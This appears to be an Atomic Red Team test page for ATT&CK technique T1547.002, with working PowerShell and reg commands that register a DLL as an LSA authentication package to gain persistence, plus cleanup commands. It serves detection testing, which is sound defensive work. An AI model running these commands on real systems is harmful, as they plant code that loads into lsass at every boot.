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Authentication Package

Description from ATT&CK

Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa**_ with the key value of _"Authentication Packages"=<target binary>**. The binary will then be executed by the system when the authentication packages are loaded.

Atomic Tests

Atomic Test #1 - Authentication Package

Establishes persistence using a custom authentication package for the Local Security Authority (LSA). After a reboot, Notepad.exe will be executed as child process of lsass.exe. Payload source code: Related blog

Supported Platforms: windows

auto_generated_guid: be2590e8-4ac3-47ac-b4b5-945820f2fbe9



Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Copy-Item "$PathToAtomicsFolder\T1547.002\bin\package.dll" C:\Windows\System32\
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f

Cleanup Commands:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f
rm -force C:\windows\system32\package.dll